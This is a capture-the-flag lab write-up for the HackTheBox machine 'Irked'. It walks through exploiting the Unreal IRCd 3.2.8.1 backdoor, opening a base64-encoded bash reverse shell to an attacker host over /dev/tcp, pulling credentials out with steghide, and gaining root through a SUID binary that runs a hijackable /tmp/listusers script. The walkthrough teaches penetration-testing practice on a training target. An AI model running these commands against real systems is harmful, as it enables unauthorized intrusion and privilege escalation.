HTB: Irked Writeup
Irked - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Irked |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 21st April 2019 |
| IP Address | 10.10.10.117 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Irked is a straightforward entry-level machine that demonstrates the importance of comprehensive port enumeration and identifying out-of-place binaries during system exploration. The box features a vulnerable Unreal IRCD service running a known backdoor, followed by steganography-based credential extraction and privilege escalation through a custom SUID binary with an insecure library call. TL;DR: Unreal IRCD backdoor → reverse shell → steghide extraction → viewuser SUID exploitation → root shell.
Reconnaissance
Port Scanning
# Full port scan with aggressive timingports=$(nmap -p- --min-rate=1000 -T4 10.10.10.117 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Version and script scan on discovered portsnmap -p$ports -sC -sV 10.10.10.117Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 6.7p1 Debian |
| 80 | HTTP | Apache httpd 2.4.10 |
| 111 | RPC | 2-4 (RPC #100000) |
| 6697 | IRC | UnrealIRCd |
| 8067 | IRC | UnrealIRCd (alternate) |
| 65534 | IRC | UnrealIRCd (alternate) |
Service Enumeration
HTTP (Port 80): The web page displays a message “IRC is almost working,” confirming the IRC service presence.
NFS (Port 111):
showmount -e 10.10.10.117Unreal IRCD (Ports 6697, 8067, 65534): Connect to the IRC service to identify the version:
irssi -c 10.10.10.117 --port 8067The server responds with version Unreal 3.2.8.1, which is a critical finding.
Vulnerability Assessment
- Unreal IRCD 3.2.8.1 Backdoor: A known vulnerability in this version allows arbitrary command execution via specially crafted commands prefixed with
AB; - Custom SUID Binary: A non-standard
/usr/bin/viewuserbinary exists with SUID permissions - Insecure Library Call: The viewuser binary uses
system()to execute/tmp/listuserswithout proper validation
Initial Foothold
Exploitation Path
Step 1: Identify the Backdoor
A quick search reveals CVE information and Metasploit module unreal_ircd_3281_backdoor that exploits the Unreal IRCD vulnerability.
Step 2: Execute Commands via Backdoor
Test command execution by sending a ping command with the AB; prefix:
echo 'AB; ping -c2 10.10.10.117' | nc 10.10.10.117 65534The server responds with ping output, confirming code execution.
Step 3: Spawn a Reverse Shell
Create a base64-encoded bash reverse shell to bypass special character issues:
# Generate the base64 payloadecho 'bash -i >& /dev/tcp/10.10.12.181/1234 0>&1' | base64# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMi4xODEvMTIzNCAwPiYxCg==
# Set up listener on attacking machinenc -lvnp 1234
# Send the payload through the backdoorecho 'AB; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMi4xODEvMTIzNCAwPiYxCg== | base64 -d | bash' | nc 10.10.10.117 65534Step 4: Upgrade Shell
Spawn an interactive TTY shell:
python -c "import pty;pty.spawn('/bin/bash')"We now have a shell as the ircd user.
Privilege Escalation
Lateral Movement: Extract Hidden Credentials
Navigate to the djmardov user’s home directory and search for credentials:
cat /home/djmardov/Documents/.backup# Output: Super elite steg backup pw# UPupDOWNdownLRlrBAbaSSssThe backup file references steganography. Download the image from the web server and extract hidden data:
wget http://10.10.10.117/irked.jpg
# Extract using steghide with the found passwordsteghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg# Output: pass.txt
cat pass.txt# Contains SSH password for djmardov userSwitch to djmardov via SSH with the extracted credentials.
Exploit SUID Binary
Step 1: Identify the Vulnerability
List all SUID binaries on the system:
find / -type f -perm -4000 2>/dev/nullThe non-standard /usr/bin/viewuser binary stands out as suspicious.
Step 2: Analyze Binary Behavior
Transfer the binary to your local machine for analysis:
scp djmardov@10.10.10.117:/usr/bin/viewuser viewuserUse ltrace to trace library calls:
ltrace ./viewuserThe output reveals:
setuid(0)- Sets UID to rootsystem("/tmp/listusers")- Executes an external command without validation
Step 3: Exploit via /tmp/listusers
The binary runs /tmp/listusers as root. Create a malicious script at that path:
# Create the exploit scriptprintf '#!/bin/bash\n/bin/sh\n' > /tmp/listuserschmod a+x /tmp/listusers
# Execute the vulnerable binary/usr/bin/viewuserYou now have a root shell.
Attack Chain Summary
Enumerate all ports (65534 discovery) ↓Identify Unreal IRCD 3.2.8.1 service ↓Exploit backdoor with AB; prefix command injection ↓Obtain reverse shell as 'ircd' user ↓Extract steghide password from .backup file ↓Recover djmardov SSH credentials from steganographic image ↓Lateral move to djmardov user ↓Identify custom SUID binary /usr/bin/viewuser ↓Analyze binary via ltrace (discovers system("/tmp/listusers") call) ↓Create malicious /tmp/listusers script ↓Execute viewuser to gain root shellTools Used
| Tool | Purpose |
|---|---|
nmap | Comprehensive port and service discovery |
irssi | IRC client for version enumeration |
nc | Netcat for backdoor exploitation and listener |
wget | Download files from web server |
steghide | Extract steganographically hidden data |
ssh | Secure shell connection for lateral movement |
ltrace | Trace system calls and library functions |
scp | Secure file transfer for binary analysis |
Key Learnings
Techniques Practiced
- Full port enumeration including high port numbers (critical for discovering IRC services)
- Service fingerprinting and version identification
- Public vulnerability research and exploit adaptation
- Base64 encoding for reverse shell payload obfuscation
- Steganography fundamentals with steghide
- Binary analysis using dynamic tracing tools (ltrace)
- SUID privilege escalation via insecure library calls
- Shell upgrades and TTY spawning
Lessons Learned
-
Always scan all 65535 ports: The IRC service on port 65534 would be missed with default port ranges, demonstrating why
-p-is essential in reconnaissance. -
Check for custom binaries: Non-standard SUID executables like
/usr/bin/viewuserare major red flags and should always be investigated for privilege escalation vectors. -
Dynamic analysis reveals vulnerabilities: Running
ltraceon binaries exposes dangerous patterns likesystem()calls with user-controlled or predictable paths. -
Multi-stage exploitation: This machine demonstrates chaining vulnerabilities—IRC backdoor → credential extraction → privilege escalation—reflecting real-world attack complexity.
-
Encoding bypasses input filtering: Base64-encoding reverse shells circumvents character filtering on certain protocols and command injection contexts.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>